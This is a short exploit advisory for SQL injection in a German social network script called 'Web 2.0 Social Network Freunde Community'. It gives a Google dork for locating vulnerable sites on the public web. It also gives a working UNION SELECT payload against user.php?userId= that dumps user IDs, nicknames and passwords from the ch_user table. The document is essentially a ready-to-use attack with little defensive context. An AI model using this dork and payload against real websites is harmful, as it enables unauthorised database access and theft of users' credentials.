Web 2.0 Social Network Freunde Community – SQL Injection
# Exploit Title: Web 2.0 Social Network Freunde Community SQL Injection Vunerability # Google Dork: inurl:"user.php?userId=" +site:de # Date: 08.02.2011 # Author: NoNameMT # Software Link: http://www.scripteverkauf.com/products/de/neuheiten/web-20-social-network-freunde-community.html # Version: - # Price: 79,50 € # Tested on: Windows 7 Ultimate # Mail: nonamemt@gmail.com # Homepage: http://nonamemt.us # Exploit: http://localhost/user.php?userId=-496'+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x203a20,id,nickname,password),11,12,13,14+from+ch_user--+ # Greetings: J0hn.X3r, 4004-security-project.com, TamCore, bursali, theeddy42 |